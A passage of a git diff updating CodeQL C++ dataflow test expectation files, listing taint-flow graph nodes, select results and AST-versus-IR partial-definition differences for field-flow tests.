aliasing.cpp:187:21:187:22 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | +| aliasing.cpp:189:13:189:13 | s [s, m1] | semmle.label | s [s, m1] | | aliasing.cpp:189:15:189:16 | m1 | semmle.label | m1 | -| aliasing.cpp:200:15:200:24 | Chi | semmle.label | Chi | -| aliasing.cpp:200:15:200:24 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:189:15:189:16 | m1 [m1] | semmle.label | m1 [m1] | +| aliasing.cpp:200:15:200:24 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | | aliasing.cpp:200:15:200:24 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | +| aliasing.cpp:200:21:200:21 | s [post update] [s, m1] | semmle.label | s [post update] [s, m1] | +| aliasing.cpp:200:23:200:24 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | +| aliasing.cpp:201:13:201:13 | s [s, m1] | semmle.label | s [s, m1] | | aliasing.cpp:201:15:201:16 | m1 | semmle.label | m1 | +| aliasing.cpp:201:15:201:16 | m1 [m1] | semmle.label | m1 [m1] | +| aliasing.cpp:211:6:211:6 | s [post update] [s, m1] | semmle.label | s [post update] [s, m1] | +| aliasing.cpp:211:8:211:9 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | +| aliasing.cpp:211:13:211:22 | call to user_input | semmle.label | call to user_input | +| aliasing.cpp:212:12:212:12 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:212:12:212:12 | s [s, m1] | semmle.label | s [s, m1] | +| aliasing.cpp:213:10:213:11 | m1 | semmle.label | m1 | +| aliasing.cpp:213:10:213:11 | m1 [m1] | semmle.label | m1 [m1] | +| aliasing.cpp:225:15:225:22 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | +| aliasing.cpp:225:15:225:22 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | +| aliasing.cpp:225:19:225:19 | s [post update] [s, m1] | semmle.label | s [post update] [s, m1] | +| aliasing.cpp:225:21:225:22 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | +| aliasing.cpp:226:12:226:12 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:226:12:226:12 | s [s, m1] | semmle.label | s [s, m1] | +| aliasing.cpp:227:10:227:11 | m1 | semmle.label | m1 | +| aliasing.cpp:227:10:227:11 | m1 [m1] | semmle.label | m1 [m1] | | arrays.cpp:6:12:6:21 | call to user_input | semmle.label | call to user_input | | arrays.cpp:7:8:7:13 | access to array | semmle.label | access to array | | arrays.cpp:9:8:9:11 | * ... | semmle.label | * ... | @@ -319,60 +453,103 @@ nodes | by_reference.cpp:68:21:68:30 | call to user_input | semmle.label | call to user_input | | by_reference.cpp:69:8:69:20 | call to nonMemberGetA | semmle.label | call to nonMemberGetA | | by_reference.cpp:84:3:84:25 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:84:10:84:10 | a [post update] [a] | semmle.label | a [post update] [a] | | by_reference.cpp:84:14:84:23 | call to user_input | semmle.label | call to user_input | | by_reference.cpp:88:3:88:24 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:88:9:88:9 | a [post update] [a] | semmle.label | a [post update] [a] | | by_reference.cpp:88:13:88:22 | call to user_input | semmle.label | call to user_input | | by_reference.cpp:92:3:92:20 | Chi [array content] | semmle.label | Chi [array content] | +| by_reference.cpp:92:3:92:20 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | by_reference.cpp:92:9:92:18 | call to user_input | semmle.label | call to user_input | | by_reference.cpp:96:3:96:19 | Chi [array content] | semmle.label | Chi [array content] | +| by_reference.cpp:96:3:96:19 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | by_reference.cpp:96:8:96:17 | call to user_input | semmle.label | call to user_input | -| by_reference.cpp:102:21:102:39 | Chi [a] | semmle.label | Chi [a] | | by_reference.cpp:102:21:102:39 | taint_inner_a_ptr output argument [a] | semmle.label | taint_inner_a_ptr output argument [a] | -| by_reference.cpp:104:15:104:22 | Chi | semmle.label | Chi | -| by_reference.cpp:104:15:104:22 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:102:28:102:39 | inner_nested [post update] [a, a] | semmle.label | inner_nested [post update] [a, a] | +| by_reference.cpp:104:15:104:22 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | | by_reference.cpp:104:15:104:22 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | -| by_reference.cpp:106:21:106:41 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:104:22:104:22 | a [post update] [a] | semmle.label | a [post update] [a] | | by_reference.cpp:106:21:106:41 | taint_inner_a_ptr output argument [a] | semmle.label | taint_inner_a_ptr output argument [a] | -| by_reference.cpp:108:15:108:24 | Chi | semmle.label | Chi | -| by_reference.cpp:108:15:108:24 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:106:30:106:41 | inner_nested [post update] [a, a] | semmle.label | inner_nested [post update] [a, a] | +| by_reference.cpp:108:15:108:24 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | | by_reference.cpp:108:15:108:24 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | +| by_reference.cpp:108:24:108:24 | a [post update] [a] | semmle.label | a [post update] [a] | +| by_reference.cpp:110:14:110:25 | inner_nested [a, a] | semmle.label | inner_nested [a, a] | | by_reference.cpp:110:27:110:27 | a | semmle.label | a | +| by_reference.cpp:110:27:110:27 | a [a] | semmle.label | a [a] | | by_reference.cpp:112:14:112:14 | a | semmle.label | a | +| by_reference.cpp:112:14:112:14 | a [a] | semmle.label | a [a] | +| by_reference.cpp:114:16:114:27 | inner_nested [a, a] | semmle.label | inner_nested [a, a] | | by_reference.cpp:114:29:114:29 | a | semmle.label | a | +| by_reference.cpp:114:29:114:29 | a [a] | semmle.label | a [a] | | by_reference.cpp:116:16:116:16 | a | semmle.label | a | -| by_reference.cpp:122:21:122:38 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:116:16:116:16 | a [a] | semmle.label | a [a] | | by_reference.cpp:122:21:122:38 | taint_inner_a_ref output argument [a] | semmle.label | taint_inner_a_ref output argument [a] | -| by_reference.cpp:124:15:124:21 | Chi | semmle.label | Chi | -| by_reference.cpp:124:15:124:21 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:122:27:122:38 | inner_nested [post update] [a, a] | semmle.label | inner_nested [post update] [a, a] | +| by_reference.cpp:124:15:124:21 | taint_a_ref output argument | semmle.label | taint_a_ref output argument | | by_reference.cpp:124:15:124:21 | taint_a_ref output argument [array content] | semmle.label | taint_a_ref output argument [array content] | -| by_reference.cpp:126:21:126:40 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:124:21:124:21 | a [post update] [a] | semmle.label | a [post update] [a] | | by_reference.cpp:126:21:126:40 | taint_inner_a_ref output argument [a] | semmle.label | taint_inner_a_ref output argument [a] | -| by_reference.cpp:128:15:128:23 | Chi | semmle.label | Chi | -| by_reference.cpp:128:15:128:23 | Chi [a] | semmle.label | Chi [a] | +| by_reference.cpp:126:29:126:40 | inner_nested [post update] [a, a] | semmle.label | inner_nested [post update] [a, a] | +| by_reference.cpp:128:15:128:23 | taint_a_ref output argument | semmle.label | taint_a_ref output argument | | by_reference.cpp:128:15:128:23 | taint_a_ref output argument [array content] | semmle.label | taint_a_ref output argument [array content] | +| by_reference.cpp:128:23:128:23 | a [post update] [a] | semmle.label | a [post update] [a] | +| by_reference.cpp:130:14:130:25 | inner_nested [a, a] | semmle.label | inner_nested [a, a] | | by_reference.cpp:130:27:130:27 | a | semmle.label | a | +| by_reference.cpp:130:27:130:27 | a [a] | semmle.label | a [a] | | by_reference.cpp:132:14:132:14 | a | semmle.label | a | +| by_reference.cpp:132:14:132:14 | a [a] | semmle.label | a [a] | +| by_reference.cpp:134:16:134:27 | inner_nested [a, a] | semmle.label | inner_nested [a, a] | | by_reference.cpp:134:29:134:29 | a | semmle.label | a | +| by_reference.cpp:134:29:134:29 | a [a] | semmle.label | a [a] | | by_reference.cpp:136:16:136:16 | a | semmle.label | a | +| by_reference.cpp:136:16:136:16 | a [a] | semmle.label | a [a] | | complex.cpp:40:17:40:17 | *b [a_] | semmle.label | *b [a_] | | complex.cpp:40:17:40:17 | *b [b_] | semmle.label | *b [b_] | -| complex.cpp:42:16:42:16 | Chi [b_] | semmle.label | Chi [b_] | +| complex.cpp:40:17:40:17 | *b [f, f, a_] | semmle.label | *b [f, f, a_] | +| complex.cpp:40:17:40:17 | *b [f, f, b_] | semmle.label | *b [f, f, b_] | +| complex.cpp:40:17:40:17 | *b [f, f, f, f, a_] | semmle.label | *b [f, f, f, f, a_] | +| complex.cpp:42:10:42:14 | inner [f, f, a_] | semmle.label | inner [f, f, a_] | +| complex.cpp:42:10:42:14 | inner [f, f, b_] | semmle.label | inner [f, f, b_] | +| complex.cpp:42:10:42:14 | inner [f, f, f, f, a_] | semmle.label | inner [f, f, f, f, a_] | +| complex.cpp:42:10:42:14 | inner [post update] [f, f, b_] | semmle.label | inner [post update] [f, f, b_] | +| complex.cpp:42:10:42:14 | inner [post update] [f, f, f, f, b_] | semmle.label | inner [post update] [f, f, f, f, b_] | | complex.cpp:42:16:42:16 | a output argument [b_] | semmle.label | a output argument [b_] | +| complex.cpp:42:16:42:16 | a output argument [f, f, b_] | semmle.label | a output argument [f, f, b_] | +| complex.cpp:42:16:42:16 | f [f, a_] | semmle.label | f [f, a_] | +| complex.cpp:42:16:42:16 | f [f, b_] | semmle.label | f [f, b_] | +| complex.cpp:42:16:42:16 | f [f, f, f, a_] | semmle.label | f [f, f, f, a_] | +| complex.cpp:42:16:42:16 | f [post update] [f, b_] | semmle.label | f [post update] [f, b_] | +| complex.cpp:42:16:42:16 | f [post update] [f, f, f, b_] | semmle.label | f [post update] [f, f, f, b_] | | complex.cpp:42:18:42:18 | call to a | semmle.label | call to a | +| complex.cpp:43:10:43:14 | inner [f, f, b_] | semmle.label | inner [f, f, b_] | +| complex.cpp:43:10:43:14 | inner [f, f, f, f, b_] | semmle.label | inner [f, f, f, f, b_] | +| complex.cpp:43:16:43:16 | f [f, b_] | semmle.label | f [f, b_] | +| complex.cpp:43:16:43:16 | f [f, f, f, b_] | semmle.label | f [f, f, f, b_] | | complex.cpp:43:18:43:18 | call to b | semmle.label | call to b | -| complex.cpp:53:12:53:12 | Chi [a_] | semmle.label | Chi [a_] | +| complex.cpp:53:6:53:10 | inner [post update] [f, f, a_] | semmle.label | inner [post update] [f, f, a_] | +| complex.cpp:53:12:53:12 | f [post update] [f, a_] | semmle.label | f [post update] [f, a_] | | complex.cpp:53:12:53:12 | setA output argument [a_] | semmle.label | setA output argument [a_] | | complex.cpp:53:19:53:28 | call to user_input | semmle.label | call to user_input | -| complex.cpp:54:12:54:12 | Chi [b_] | semmle.label | Chi [b_] | +| complex.cpp:54:6:54:10 | inner [post update] [f, f, b_] | semmle.label | inner [post update] [f, f, b_] | +| complex.cpp:54:12:54:12 | f [post update] [f, b_] | semmle.label | f [post update] [f, b_] | | complex.cpp:54:12:54:12 | setB output argument [b_] | semmle.label | setB output argument [b_] | | complex.cpp:54:19:54:28 | call to user_input | semmle.label | call to user_input | -| complex.cpp:55:12:55:12 | Chi [a_] | semmle.label | Chi [a_] | +| complex.cpp:55:6:55:10 | inner [post update] [f, f, a_] | semmle.label | inner [post update] [f, f, a_] | +| complex.cpp:55:12:55:12 | f [post update] [f, a_] | semmle.label | f [post update] [f, a_] | | complex.cpp:55:12:55:12 | setA output argument [a_] | semmle.label | setA output argument [a_] | | complex.cpp:55:19:55:28 | call to user_input | semmle.label | call to user_input | -| complex.cpp:56:12:56:12 | Chi [a_] | semmle.label | Chi [a_] | -| complex.cpp:56:12:56:12 | Chi [b_] | semmle.label | Chi [b_] | +| complex.cpp:56:6:56:10 | inner [f, f, a_] | semmle.label | inner [f, f, a_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, a_] | semmle.label | inner [post update] [f, f, a_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, b_] | semmle.label | inner [post update] [f, f, b_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, f, f, a_] | semmle.label | inner [post update] [f, f, f, f, a_] | +| complex.cpp:56:12:56:12 | f [f, a_] | semmle.label | f [f, a_] | +| complex.cpp:56:12:56:12 | f [post update] [f, a_] | semmle.label | f [post update] [f, a_] | +| complex.cpp:56:12:56:12 | f [post update] [f, b_] | semmle.label | f [post update] [f, b_] | +| complex.cpp:56:12:56:12 | f [post update] [f, f, f, a_] | semmle.label | f [post update] [f, f, f, a_] | | complex.cpp:56:12:56:12 | setB output argument [a_] | semmle.label | setB output argument [a_] | | complex.cpp:56:12:56:12 | setB output argument [b_] | semmle.label | setB output argument [b_] | +| complex.cpp:56:12:56:12 | setB output argument [f, f, a_] | semmle.label | setB output argument [f, f, a_] | | complex.cpp:56:19:56:28 | call to user_input | semmle.label | call to user_input | | constructors.cpp:26:15:26:15 | *f [a_] | semmle.label | *f [a_] | | constructors.cpp:26:15:26:15 | *f [b_] | semmle.label | *f [b_] | @@ -401,25 +578,29 @@ nodes | simple.cpp:42:5:42:5 | setB output argument [a_] | semmle.label | setB output argument [a_] | | simple.cpp:42:5:42:5 | setB output argument [b_] | semmle.label | setB output argument [b_] | | simple.cpp:42:12:42:21 | call to user_input | semmle.label | call to user_input | -| simple.cpp:65:5:65:22 | Store [i] | semmle.label | Store [i] | +| simple.cpp:65:7:65:7 | i [post update] [i] | semmle.label | i [post update] [i] | | simple.cpp:65:11:65:20 | call to user_input | semmle.label | call to user_input | -| simple.cpp:66:12:66:12 | Store [i] | semmle.label | Store [i] | | simple.cpp:67:13:67:13 | i | semmle.label | i | -| simple.cpp:83:9:83:28 | Chi [f1] | semmle.label | Chi [f1] | +| simple.cpp:67:13:67:13 | i [i] | semmle.label | i [i] | +| simple.cpp:83:9:83:10 | f2 [post update] [f1, f1] | semmle.label | f2 [post update] [f1, f1] | +| simple.cpp:83:12:83:13 | f1 [post update] [f1] | semmle.label | f1 [post update] [f1] | | simple.cpp:83:17:83:26 | call to user_input | semmle.label | call to user_input | | simple.cpp:84:14:84:20 | call to getf2f1 | semmle.label | call to getf2f1 | -| simple.cpp:92:5:92:22 | Store [i] | semmle.label | Store [i] | +| simple.cpp:92:7:92:7 | i [post update] [i] | semmle.label | i [post update] [i] | | simple.cpp:92:11:92:20 | call to user_input | semmle.label | call to user_input | -| simple.cpp:93:20:93:20 | Store [i] | semmle.label | Store [i] | | simple.cpp:94:13:94:13 | i | semmle.label | i | +| simple.cpp:94:13:94:13 | i [i] | semmle.label | i [i] | | struct_init.c:14:24:14:25 | *ab [a] | semmle.label | *ab [a] | | struct_init.c:15:12:15:12 | a | semmle.label | a | -| struct_init.c:20:20:20:29 | Chi [a] | semmle.label | Chi [a] | +| struct_init.c:15:12:15:12 | a [a] | semmle.label | a [a] | +| struct_init.c:20:17:20:36 | a [post update] [a] | semmle.label | a [post update] [a] | | struct_init.c:20:20:20:29 | call to user_input | semmle.label | call to user_input | | struct_init.c:22:11:22:11 | a | semmle.label | a | -| struct_init.c:27:7:27:16 | Chi [a] | semmle.label | Chi [a] | +| struct_init.c:26:23:29:3 | nestedAB [post update] [nestedAB, a] | semmle.label | nestedAB [post update] [nestedAB, a] | +| struct_init.c:27:5:27:23 | a [post update] [a] | semmle.label | a [post update] [a] | | struct_init.c:27:7:27:16 | call to user_input | semmle.label | call to user_input | | struct_init.c:31:23:31:23 | a | semmle.label | a | +| struct_init.c:36:17:36:24 | nestedAB [nestedAB, a] | semmle.label | nestedAB [nestedAB, a] | #select | A.cpp:56:13:56:15 | call to get | A.cpp:55:12:55:19 | (C *)... | A.cpp:56:13:56:15 | call to get | call to get flows from $@ | A.cpp:55:12:55:19 | (C *)... | (C *)... | | A.cpp:56:13:56:15 | call to get | A.cpp:55:12:55:19 | new | A.cpp:56:13:56:15 | call to get | call to get flows from $@ | A.cpp:55:12:55:19 | new | new | @@ -449,6 +630,8 @@ nodes | aliasing.cpp:176:13:176:14 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:176:13:176:14 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | aliasing.cpp:189:15:189:16 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:189:15:189:16 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | aliasing.cpp:201:15:201:16 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:201:15:201:16 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | +| aliasing.cpp:213:10:213:11 | m1 | aliasing.cpp:211:13:211:22 | call to user_input | aliasing.cpp:213:10:213:11 | m1 | m1 flows from $@ | aliasing.cpp:211:13:211:22 | call to user_input | call to user_input | +| aliasing.cpp:227:10:227:11 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:227:10:227:11 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | arrays.cpp:7:8:7:13 | access to array | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:7:8:7:13 | access to array | access to array flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | | arrays.cpp:9:8:9:11 | * ... | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:9:8:9:11 | * ... | * ... flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | | arrays.cpp:10:8:10:15 | * ... | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:10:8:10:15 | * ... | * ... flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected index ee0a3a33779..5cf7504fa1f 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected @@ -1,12 +1,12 @@ | A.cpp:25:13:25:13 | c | AST only | | A.cpp:27:28:27:28 | c | AST only | +| A.cpp:28:29:28:29 | this | IR only | | A.cpp:31:20:31:20 | c | AST only | | A.cpp:40:5:40:6 | cc | AST only | | A.cpp:41:5:41:6 | ct | AST only | | A.cpp:42:10:42:12 | & ... | AST only | | A.cpp:43:10:43:12 | & ... | AST only | | A.cpp:48:20:48:20 | c | AST only | -| A.cpp:49:10:49:10 | b | AST only | | A.cpp:49:13:49:13 | c | AST only | | A.cpp:55:5:55:5 | b | AST only | | A.cpp:56:10:56:10 | b | AST only | @@ -14,15 +14,11 @@ | A.cpp:57:28:57:30 | call to get | AST only | | A.cpp:64:10:64:15 | this | AST only | | A.cpp:64:17:64:18 | b1 | AST only | -| A.cpp:65:10:65:11 | b1 | AST only | | A.cpp:65:14:65:14 | c | AST only | -| A.cpp:66:10:66:11 | b2 | AST only | | A.cpp:66:14:66:14 | c | AST only | | A.cpp:73:10:73:19 | this | AST only | | A.cpp:73:21:73:22 | b1 | AST only | -| A.cpp:74:10:74:11 | b1 | AST only | | A.cpp:74:14:74:14 | c | AST only | -| A.cpp:75:10:75:11 | b2 | AST only | | A.cpp:75:14:75:14 | c | AST only | | A.cpp:81:10:81:15 | this | AST only | | A.cpp:81:17:81:18 | b1 | AST only | @@ -34,85 +30,61 @@ | A.cpp:100:9:100:9 | a | AST only | | A.cpp:101:5:101:6 | this | AST only | | A.cpp:101:8:101:9 | c1 | AST only | -| A.cpp:107:12:107:13 | c1 | AST only | | A.cpp:107:16:107:16 | a | AST only | -| A.cpp:120:12:120:13 | c1 | AST only | | A.cpp:120:16:120:16 | a | AST only | | A.cpp:126:5:126:5 | b | AST only | | A.cpp:131:5:131:6 | this | AST only | | A.cpp:131:8:131:8 | b | AST only | -| A.cpp:132:10:132:10 | b | AST only | | A.cpp:132:13:132:13 | c | AST only | | A.cpp:142:10:142:10 | c | AST only | | A.cpp:143:13:143:13 | b | AST only | | A.cpp:151:18:151:18 | b | AST only | | A.cpp:151:21:151:21 | this | AST only | -| A.cpp:152:10:152:10 | d | AST only | | A.cpp:152:13:152:13 | b | AST only | -| A.cpp:153:10:153:10 | d | AST only | -| A.cpp:153:13:153:13 | b | AST only | | A.cpp:153:16:153:16 | c | AST only | -| A.cpp:154:10:154:10 | b | AST only | | A.cpp:154:13:154:13 | c | AST only | | A.cpp:160:29:160:29 | b | AST only | | A.cpp:161:38:161:39 | l1 | AST only | | A.cpp:162:38:162:39 | l2 | AST only | -| A.cpp:163:10:163:11 | l3 | AST only | | A.cpp:163:14:163:17 | head | AST only | -| A.cpp:164:10:164:11 | l3 | AST only | -| A.cpp:164:14:164:17 | next | AST only | | A.cpp:164:20:164:23 | head | AST only | -| A.cpp:165:10:165:11 | l3 | AST only | -| A.cpp:165:14:165:17 | next | AST only | -| A.cpp:165:20:165:23 | next | AST only | | A.cpp:165:26:165:29 | head | AST only | -| A.cpp:166:10:166:11 | l3 | AST only | -| A.cpp:166:14:166:17 | next | AST only | -| A.cpp:166:20:166:23 | next | AST only | -| A.cpp:166:26:166:29 | next | AST only | | A.cpp:166:32:166:35 | head | AST only | -| A.cpp:169:12:169:12 | l | AST only | +| A.cpp:167:47:167:50 | l | IR only | | A.cpp:169:15:169:18 | head | AST only | | A.cpp:183:7:183:10 | head | AST only | | A.cpp:184:13:184:16 | next | AST only | | B.cpp:7:25:7:25 | e | AST only | | B.cpp:8:25:8:26 | b1 | AST only | -| B.cpp:9:10:9:11 | b2 | AST only | -| B.cpp:9:14:9:17 | box1 | AST only | | B.cpp:9:20:9:24 | elem1 | AST only | -| B.cpp:10:10:10:11 | b2 | AST only | -| B.cpp:10:14:10:17 | box1 | AST only | | B.cpp:10:20:10:24 | elem2 | AST only | | B.cpp:16:37:16:37 | e | AST only | | B.cpp:17:25:17:26 | b1 | AST only | -| B.cpp:18:10:18:11 | b2 | AST only | -| B.cpp:18:14:18:17 | box1 | AST only | | B.cpp:18:20:18:24 | elem1 | AST only | -| B.cpp:19:10:19:11 | b2 | AST only | -| B.cpp:19:14:19:17 | box1 | AST only | | B.cpp:19:20:19:24 | elem2 | AST only | | B.cpp:35:13:35:17 | elem1 | AST only | | B.cpp:36:13:36:17 | elem2 | AST only | | B.cpp:46:13:46:16 | box1 | AST only | | C.cpp:19:5:19:5 | c | AST only | | C.cpp:24:11:24:12 | s3 | AST only | +| C.cpp:29:10:29:11 | this | IR only | +| C.cpp:30:10:30:11 | this | IR only | +| C.cpp:31:10:31:11 | this | IR only | | D.cpp:9:21:9:24 | elem | AST only | +| D.cpp:10:30:10:33 | this | IR only | | D.cpp:11:29:11:32 | elem | AST only | | D.cpp:16:21:16:23 | box | AST only | +| D.cpp:17:30:17:32 | this | IR only | | D.cpp:18:29:18:31 | box | AST only | | D.cpp:22:10:22:11 | b2 | AST only | | D.cpp:22:14:22:20 | call to getBox1 | AST only | | D.cpp:22:25:22:31 | call to getElem | AST only | -| D.cpp:30:5:30:5 | b | AST only | -| D.cpp:30:8:30:10 | box | AST only | | D.cpp:30:13:30:16 | elem | AST only | | D.cpp:31:14:31:14 | b | AST only | -| D.cpp:37:5:37:5 | b | AST only | | D.cpp:37:8:37:10 | box | AST only | | D.cpp:37:21:37:21 | e | AST only | | D.cpp:38:14:38:14 | b | AST only | | D.cpp:44:5:44:5 | b | AST only | -| D.cpp:44:8:44:14 | call to getBox1 | AST only | | D.cpp:44:19:44:22 | elem | AST only | | D.cpp:45:14:45:14 | b | AST only | | D.cpp:51:5:51:5 | b | AST only | @@ -120,26 +92,14 @@ | D.cpp:51:27:51:27 | e | AST only | | D.cpp:52:14:52:14 | b | AST only | | D.cpp:57:5:57:12 | boxfield | AST only | -| D.cpp:58:5:58:12 | boxfield | AST only | -| D.cpp:58:5:58:12 | this | AST only | -| D.cpp:58:15:58:17 | box | AST only | | D.cpp:58:20:58:23 | elem | AST only | | D.cpp:59:5:59:7 | this | AST only | -| D.cpp:64:10:64:17 | boxfield | AST only | -| D.cpp:64:10:64:17 | this | AST only | -| D.cpp:64:20:64:22 | box | AST only | | D.cpp:64:25:64:28 | elem | AST only | -| E.cpp:21:10:21:10 | p | AST only | -| E.cpp:21:13:21:16 | data | AST only | | E.cpp:21:18:21:23 | buffer | AST only | | E.cpp:28:21:28:23 | raw | AST only | -| E.cpp:29:21:29:21 | b | AST only | | E.cpp:29:24:29:29 | buffer | AST only | -| E.cpp:30:21:30:21 | p | AST only | -| E.cpp:30:23:30:26 | data | AST only | | E.cpp:30:28:30:33 | buffer | AST only | | E.cpp:31:10:31:12 | raw | AST only | -| E.cpp:32:10:32:10 | b | AST only | | E.cpp:32:13:32:18 | buffer | AST only | | E.cpp:33:18:33:19 | & ... | AST only | | aliasing.cpp:9:6:9:7 | m1 | AST only | @@ -147,87 +107,92 @@ | aliasing.cpp:17:5:17:6 | m1 | AST only | | aliasing.cpp:25:17:25:19 | & ... | AST only | | aliasing.cpp:26:19:26:20 | s2 | AST only | +| aliasing.cpp:29:11:29:12 | s1 | IR only | +| aliasing.cpp:30:11:30:12 | s2 | IR only | +| aliasing.cpp:31:11:31:12 | s3 | IR only | | aliasing.cpp:37:8:37:9 | m1 | AST only | +| aliasing.cpp:38:11:38:12 | s1 | IR only | | aliasing.cpp:42:6:42:7 | m1 | AST only | +| aliasing.cpp:43:13:43:14 | ref2 | IR only | | aliasing.cpp:49:9:49:10 | m1 | AST only | +| aliasing.cpp:50:11:50:12 | s1 | IR only | | aliasing.cpp:54:6:54:7 | m1 | AST only | +| aliasing.cpp:55:14:55:15 | copy2 | IR only | | aliasing.cpp:60:6:60:7 | m1 | AST only | +| aliasing.cpp:62:14:62:15 | copy2 | IR only | +| aliasing.cpp:71:11:71:11 | w | IR only | | aliasing.cpp:72:5:72:6 | m1 | AST only | +| aliasing.cpp:73:10:73:10 | w | IR only | +| aliasing.cpp:73:12:73:13 | s | IR only | +| aliasing.cpp:78:13:78:13 | w | IR only | | aliasing.cpp:79:6:79:7 | m1 | AST only | +| aliasing.cpp:80:10:80:10 | w | IR only | +| aliasing.cpp:80:12:80:13 | s | IR only | +| aliasing.cpp:85:12:85:12 | w | IR only | | aliasing.cpp:86:5:86:6 | m1 | AST only | -| aliasing.cpp:92:3:92:3 | w | AST only | +| aliasing.cpp:87:10:87:10 | w | IR only | +| aliasing.cpp:87:12:87:13 | s | IR only | | aliasing.cpp:92:7:92:8 | m1 | AST only | +| aliasing.cpp:93:10:93:10 | w | IR only | +| aliasing.cpp:93:12:93:13 | s | IR only | | aliasing.cpp:98:5:98:6 | m1 | AST only | +| aliasing.cpp:101:21:101:22 | s_copy | IR only | | aliasing.cpp:106:3:106:5 | * ... | AST only | | aliasing.cpp:111:15:111:19 | & ... | AST only | +| aliasing.cpp:112:10:112:11 | s | IR only | | aliasing.cpp:121:15:121:16 | xs | AST only | | aliasing.cpp:126:15:126:20 | ... - ... | AST only | | aliasing.cpp:131:15:131:16 | xs | AST only | | aliasing.cpp:136:15:136:17 | + ... | AST only | -| aliasing.cpp:141:15:141:15 | s | AST only | | aliasing.cpp:141:17:141:20 | data | AST only | +| aliasing.cpp:143:10:143:13 | s | IR only | | aliasing.cpp:147:15:147:22 | & ... | AST only | -| aliasing.cpp:158:15:158:15 | s | AST only | +| aliasing.cpp:148:13:148:14 | access to array | IR only | | aliasing.cpp:158:17:158:20 | data | AST only | -| aliasing.cpp:164:15:164:15 | s | AST only | +| aliasing.cpp:159:11:159:14 | s | IR only | | aliasing.cpp:164:17:164:20 | data | AST only | +| aliasing.cpp:165:10:165:13 | s | IR only | | aliasing.cpp:175:15:175:22 | & ... | AST only | -| aliasing.cpp:175:16:175:17 | s2 | AST only | +| aliasing.cpp:176:11:176:11 | s2 | IR only | +| aliasing.cpp:176:13:176:14 | s | IR only | | aliasing.cpp:181:15:181:22 | & ... | AST only | -| aliasing.cpp:181:16:181:17 | s2 | AST only | +| aliasing.cpp:182:11:182:11 | s2 | IR only | +| aliasing.cpp:182:13:182:14 | s | IR only | | aliasing.cpp:187:15:187:22 | & ... | AST only | -| aliasing.cpp:187:16:187:17 | s2 | AST only | +| aliasing.cpp:189:13:189:13 | s2_2 | IR only | +| aliasing.cpp:189:15:189:16 | s | IR only | | aliasing.cpp:194:15:194:22 | & ... | AST only | -| aliasing.cpp:194:16:194:17 | s2 | AST only | +| aliasing.cpp:196:13:196:13 | s2_2 | IR only | +| aliasing.cpp:196:15:196:16 | s | IR only | | aliasing.cpp:200:15:200:24 | & ... | AST only | -| aliasing.cpp:200:16:200:18 | ps2 | AST only | +| aliasing.cpp:201:13:201:13 | ps2 | IR only | +| aliasing.cpp:201:15:201:16 | s | IR only | | aliasing.cpp:205:15:205:24 | & ... | AST only | -| aliasing.cpp:205:16:205:18 | ps2 | AST only | -| aliasing.cpp:211:3:211:4 | s2 | AST only | +| aliasing.cpp:206:13:206:13 | ps2 | IR only | +| aliasing.cpp:206:15:206:16 | s | IR only | | aliasing.cpp:211:8:211:9 | m1 | AST only | -| aliasing.cpp:218:3:218:4 | s2 | AST only | +| aliasing.cpp:212:12:212:12 | s2 | IR only | +| aliasing.cpp:213:10:213:11 | s | IR only | | aliasing.cpp:218:8:218:9 | m1 | AST only | +| aliasing.cpp:219:12:219:12 | s2 | IR only | +| aliasing.cpp:220:10:220:11 | s | IR only | | aliasing.cpp:225:15:225:22 | & ... | AST only | -| aliasing.cpp:225:16:225:17 | s2 | AST only | +| aliasing.cpp:226:12:226:12 | s2 | IR only | +| aliasing.cpp:227:10:227:11 | 